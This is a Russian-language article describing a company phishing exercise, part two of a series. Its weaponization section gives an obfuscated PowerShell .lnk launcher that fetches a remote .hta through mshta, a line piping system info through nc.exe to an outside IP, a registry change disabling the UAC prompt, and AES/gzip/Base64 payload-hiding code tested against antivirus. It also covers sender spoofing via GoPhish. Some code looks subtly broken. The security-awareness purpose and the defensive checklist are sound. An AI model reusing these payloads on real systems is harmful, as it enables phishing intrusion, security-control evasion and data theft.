Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #1

Хабр, приготовься, рыбалка началась! Для тех кто не в лодке, в предыдущей части мы составили методологию и выбрали инструменты для проведения нестандартных фишинг-учений, чтобы проверить сотрудников нашей компании. В результате мы разработали стратегию полноценной тренировочной APT-атаки. Сегодня мы рассмотрим ее практическую реализацию. Но обо всем по порядку.

Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности и пентестеры ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.

Шаг 0. Планирование

Для начала вспомним алгоритм разработанной нами стратегии, и пункты, которые необходимо выполнить.

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #2

На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk или же ярлыком. Неопытный пользователь может запутаться в разнообразии форматов, или письмо может остаться без внимания, так как было получено из «доверенного» источника.

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #3

Приманкой будет важное сообщение от системы электронного документооборота с подмененным отправителем в теле письма. Это еще одна ловушка для сотрудника. Если вам интересны подробности этого процесса, то обязательно прочтите первую часть статьи!

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #4

После открытия файла начнется второй этап атаки — заражение. На компьютере жертвы будет скачан и открыт файл локального «веб-приложения» с обезвреженным кодом, который свяжется с командным сервером и оповестит о «заражении» машины. Чтобы усыпить подозрения, пользователю будет продемонстрирован и оригинальный документ, загруженный с удаленного сервера. Однако не все так просто: чтобы провести учебную атаку, необходимо не только отвлечь внимание потенциальной жертвы, но также обойти средства защиты информации (СЗИ). Для этого мы будем использовать маскировку.

Шаг 1. Этап вооружения

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #5

Подготовим удочки и гарпуны для учений, или в нашем случае — эксплойты и пэйлоады. Но для начала определимся с требованиями к ним. Для того чтобы преодолеть СЗИ и человеческий фактор, необходимо использовать:

  • ресурсы и файлы-приманки из рабочей среды;
  • короткие пэйлоады;
  • обфусцированные значения и криптографические преобразования;
  • низкие показатели идентификации вредоноса.

Основываясь на постулатах выше, приступим к созданию первого эксплойта — ярлыка. Для этого нам не понадобятся какие-либо специальные средства, только Windows-окружение.

Токсичный ярлык

Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься PowerShell. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а открыть второй эксплойт, то необходимо должным образом замаскировать вредоносную активность.

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #6

Если мы непосредственно обратимся к утилите, которая запустит вредонос, такая угроза будет детектирована практически везде.

PS C:\Users\Mi> mshta.exe

Вместо этого мы используем операторы PowerShell для того чтобы обходным путем выполнить mshta или mshta.exe без указания пути, так как он уже имеется в переменных среды.

Первое, что приходит в голову, — обратиться к свойствам объекта реестра и вытащить оттуда нужное название.

PS C:\Users\Mi> gp -pa 'HKLM:\SOF*\Clas*\Appli*ons\m*h*e'
NoOpenWith   :
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mshta.exe
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications
PSChildName  : mshta.exe
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

В данном случае команда gp (сокращение от Get-ItemProperties) при обращении получает список свойств, а в запрос мы уже интегрировали маскировку через *, которая символизирует одно или более значений. Отфильтруем и передадим результат на исполнение mshta.exe через оператор группировки (), который рекурсивно выполнит функции и вернет полученное значение.

PS C:\Users\Mi> .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://habr.ru/13
mshta.exe https://habr.ru/13

В результате мы получили замаскированный путь к утилите mshta.exe, которая скачивает и устанавливает вредонос на втором этапе. Проведем тесты на детектируемость:

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #7

Некоторые антивирусы все же определяют сигнатуру. На текущий момент нас интересует детектируемость решениями Microsoft и ClamAV. Сменим порядок запроса, но суть останется прежней.

PS C:\Users\Mi> .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13 

Знаком вопроса мы замаскировали название. После внесенных изменений проведем повторный тест:

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #8

Отлично, интересующие нас антивирусные продукты не видят наш эксплойт. При необходимости можно устранить и оставшиеся детекты.

Вернемся к окну с ярлыком и установим новый путь с командами для запуска PowerShell.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13
Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #9

Выберем соответствующее название, запуск в скрытом окне и значок PDF, который будет отображаться на компьютере пользователя:

%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe
Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #10

Для проверки работоспособности эксплойта можно указать в конце команды любой сайт, но затем будет необходимо изменить ссылку на URI с файлом второго этапа.

Вредоносный Webapp

Второй эксплойт представляет собой файл формата .hta, состоящий из в заранее подготовленного HTML с включением CSS + JS. При помощи утилиты mshta, которую мы указали в ярлыке, код в файле интерпретируется и компилируется.

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #11

Вредоносные функции сосредоточены в коде JavaScript. Главные враги подобного решения — статический и динамический анализаторы, которые есть в антивирусных программах, песочницах и TI-платформах.

Этот файл несет в себе основную нагрузку и неизбежно будет содержать множество обращений к системе в довольно большом по объему фрагменте кода. Поэтому в целях маскировки мы можем использовать объекты окружения PowerShell для шифрования, кодирования, сжатия передаваемых данных, а также обфускацию и задержку при выполнении.

В нашем примере мы пойдем от обратного и разберем готовый эксплойт по частям.

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #12

Эксплойт под кодовым именем 13.hta состоит из двух основных элементов: маскировочный блок и ядро вредоноса. Основной модуль содержит обращение к командному серверу, который зафиксирует, что заражение успешно произошло и выполнит ряд действий.

Get-ComputerInfo | nc.exe 91.124.1.2 4213 

Функция Decoy-файл найдет по имени файл из первого этапа атаки Положение №300.pdf.lnk и заменит его на оригинальный файл, открыв в браузере или через установленное по умолчанию приложение.

Код для Decoy

function fJBZI($JfsS){

    $WeFJn = gci -Recurse -Filter 'Положение №300 pdf.lnk' -File -ErrorAction SilentlyContinue -Path $JfsS;

    if($WeFJn){

        if($WeFJn.Fullname -Match '.zip' -eq $true){

            $NzJDP = $WeFJn.Directory.Name.Replace('Temp1_','');

            $dnuHk = gci -Recurse -Filter $NzJDP -File -ErrorAction SilentlyContinue -Path «$HOME»;

            $JLdUun = Join-Path $dnuHk.Directory $NzJDP;

            $GNSf = Join-Path $WeFJn.Directory '\*';

            Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;

            del $WeFJn.FullName -Force;

            Compress-Archive -Path $GNSf -DestinationPath $JLdUun -Force;

        } else {

            del $WeFJn.FullName -force;

            Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;

        }

    }

}

fJBZI([Environment]::GetFolderPath('Desktop'));
  1. Функция fJBZI сканирует рабочий стол пользователя в поисках ярлыков с именем «Положение №300.pdf.lnk»;
  2. Если найденный ярлык является файлом ZIP, скрипт извлекает содержимое ZIP-архива;
  3. Далее скрипт перемещает PDF-файл (предполагается, что это содержимое архива) на рабочий стол и удаляет ZIP-файл или ярлык;
  4. Если ZIP-файл не найден, он перемещает PDF-файл на рабочий стол.

Обход UAC/SmartScreen включает в себя функцию обращения к реестру и изменения значения, отвечающего за уровень контроля запуска приложений, а также использует новые сигнатуры для обхода SmartScreen.

Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

Полученное ядро необходимо маскировать и преобразовать!

Маскировочный блок, в свою очередь, использует 3 основных способа сокрытия ядра полезной нагрузки:

Для сокращения объема и воспрепятствования статическому анализу используется gzip-архивирование.

New-Object System.IO.Compression.GzipStream [Stream of data], ([IO.Compression.CompressionMode]:: Compress)

Поверх архива применяется шифрование методом AES-256, путем создания объекта в окружении PS с соответствующими опциями.

Код для шифрования AES-256

$zTdLOeg = «ключ_в_utf8»;

$yNRTxBE = «закодированный_текст_в_utf8»;

$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';

$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;

$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;

$vdiEhMj.BlockSize = 128;

$vdiEhMj.KeySize = 256;

$vdiEhMj.Key = [System.Convert]::FromUTF8String($zTdLOeg);

$hPhPw = [System.Convert]::FromUTF8String($yNRTxBE);

$udBqxpbU = $hPhPw[0..15];

$vdiEhMj.IV = $udBqxpbU;

$eTsDHySTn = $vdiEhMj.CreateEncryptor();

$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 0, $hPhPw.Length);

$vdiEhMj.Dispose();

Для следующего этапа применяется кодирование в Base64. Получившееся ядро в замаскированной оболочке записывается в переменную.

Кодирование

$yNRTXBE = 'AAAAAAAAAAAAAAAAAAAAAAUQSLIqVQKkgeiUIVMEDKFBx0d AqUjxNC2pF2azwgu5jrLa5CV8ki6NA4oVN1vj5bMzzwgADlgD6k3v

FcP9A2889VWEvaNplt1NmzacJKO/

RAcvOpiPODvSaRpCV50FE/reGmllrWniD4LCvV/j53/sActC/ NsGGHRDL8JpPvuRKt1Re3AKwbrzv5SEleT4Yv9WgHls7U1E+MkGs/ wXrJSN7BWdHF9QXslb6/

pwTYznyq1324dIMMUBWtd94+X7p2xzIYD

zsLiVW16huWgoeiPXtk9fMnuW+Q7Ir31YmlKvmwRWbsTJDPFxsfV0BaQ8xeQgH2qe8ahxlq2NB9ED xzYpEjD22ehY/

MsvTp6BsO0W6DXmWam6WfFdeUjQWKuOqfN25EHKit21X27bka SA7g9AStqrEzV0NC26ZDMJa078UlquB4iqt5MDivEd3LyKwtJGvFC wBUduk=';

Для распаковки ядра вредоноса в .hta-формате прописываются команды для дешифровки, декодирования и разархивации. Некоторые строки со значениями также закодированы в Base64.

Код для расшифровки

$zTdLOeg = 'QIRkeU1MSGtRc09uZ290Sm9TTk5lc2ZxeGxlemhxTW8=';

$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged'; 

$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;

$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; 

$vdiEhMj.BlockSize = 128;$vdiEhMj.KeySize = 256;

$vdiEhMj.Key = [System.Convert]::FromBase64String($zTdLOeg); 

$hPhPw = [System.Convert]::FromBase64String($yNRTxBE); 

$udBqxpbU = $hPhPw[0..15];

$vdiEhMj.IV = $udBqxpbU; 

$eTsDHySTn = $vdiEhMj.CreateDecryptor(); 

$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 16, $hPhPw.Length — 16);

$vdiEhMj.Dispose(); 

$jQcAMdf = New-Object System.IO.MemoryStream(,$JrVyLoYTK); 

$pKSKXid = New-Object System.IO.MemoryStream;

$wdTyKzCND = New-Object System.IO.Compression.GzipStream $jQcAMdf, ([IO.Compression.CompressionMode]:: Decompress); 

$wdTyKzCND.CopyTo($pKSKXid); 

$wdTyKzCND.Close(); 

$jQcAMdf.Close(); [byte[]] 

$Kuvqqkj = $pKSKXid.ToArray();

$pcWmt = [System.Text.Encoding]::UTF8.GetString($Kuvqqkj);

Выполнение расшифрованного эксплойта

#$pcWmt | powershell -

В результате всех этих сложных манипуляций мы получаем отличные результаты.

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #13

Поведенческий анализ Антивируса Касперского все-таки обнаружил вредонос, но целевые антивирусные решения не отреагировали на наш файл, поэтому задачу по формированию пэйлоада можно считать выполненной.

Не забудем захостить итоговый файл, убрать расширение .hta и изменить ссылку в ярлыке.

Шаг 2. Этап доставки

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #14

Когда мы уже сидим на чемоданах и все снасти упакованы, пора погрузиться на корабль и отправиться на долгожданную рыбалку! Для того чтобы наше творение дошло до получателя в исходном виде и письмо не вызывало подозрений, необходимо произвести подмену отправителя.

Напомним, что особенность обработки такого сообщения любым почтовым приложением заключается в том, что все поля до DATA остаются в метаданных, а поля после этой строки отображаются в самом сообщении. Соответственно, получатель не увидит narushitel@serverspace.ru пока не просмотрит исходный код сообщения, но зато поле From: Игорь Иванович ceo@serverspace.ru будет отображаться в строке «отправитель». Так выглядит само письмо:

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #15

А вот его исходный код, в котором можно увидеть настоящего отправителя в поле Return-Path: narushitel@serverspace.ru:

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #16

Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение.

На развернутом сервере GoPhish была создана целевая группа для рассылки путем импорта CSV:

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #17

Чтобы отправлять письма, необходимо иметь легитимный аккаунт, который будет использоваться для рассылки. В нашем случае для подсказки пользователю мы указали адрес narushitel@mail.serverspace.ru .

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #18

Затем мы составили фишинговое письмо с использованием HTML и CSS, преимущественно без картинок, поскольку многие почтовые клиенты блокируют изображения, как вложенные, так и с ссылкой на внешний ресурс. В сообщение мы добавили вредоносный файл и трекер, за счет которого будут фиксироваться открытия вредоносного сообщения. Письмо приняло следующий вид:

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #19

После того как мы сформировали все виды писем с вложением для реализации первого этапа атаки, можно начинать рыбалку!

Шаг 3. Сбор результатов и советы для сотрудников ИБ

Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2, image #20

В течение всей компании сотрудникам было разослано около 400 писем, из них были открыты 356 или 89% от общего количества. Повысилась активность на сканирующем устройстве, куда могли обращаться пользователи, чтобы проверить свои файлы на наличие вредоноса. В отдел кибербезопасности поступило 10 обращений по поводу подозрительного письма, что ускорило бы реагирование в случае реальной атаки. Однако около 16% машин оказались «заражены», что говорит о необходимости принятия дополнительных технических и организационных мер. Среди них — укрепление периметра, фильтрация почтового трафика внутри сети, hardening почтовых серверов и повышение осведомленности оставшегося процента сотрудников.

Учения, безусловно, принесли пользу: общий процент открытия вредоносных писем в прошлые периоды составлял 41%, в текущем снизился до 16%.

Чек-лист рекомендаций

  • Нужно предоставить пользователям организационные и технические инструменты для детектирования атаки: сканеры, антивирусные решения, настроенные анализаторы на почтовых серверах или отдельные решения Mail Security;
  • Необходимо организовать базовый hardering почтовых серверов во избежание слива учетных данных, ввести строгую парольную политику и многофакторную аутентификацию. При составлении учений мы поняли, что на одном из узлов есть уязвимость Broken Authentication, что помогло вовремя решить проблему.
  • Следует внедрить проактивную защиту, просканировать почтовый сервис открытыми платформами наподобие PT Knockin.
  • Нужно настроить блокировку приема почтовым сервером сообщений с потенциально вредоносным вложением: .lnk, .bat, .cmd, .ps1, .exe, .msi, .slk и прочими.

В ходе учений мы реализовали полноценную APT-атаку и проверили бдительность своих коллег. Это позволило не только выяснить уровень осведомленности сотрудников, но и помогло здраво оценить защищенность инфраструктуры. Охоту можно объявлять закрытой!

18 views·1 share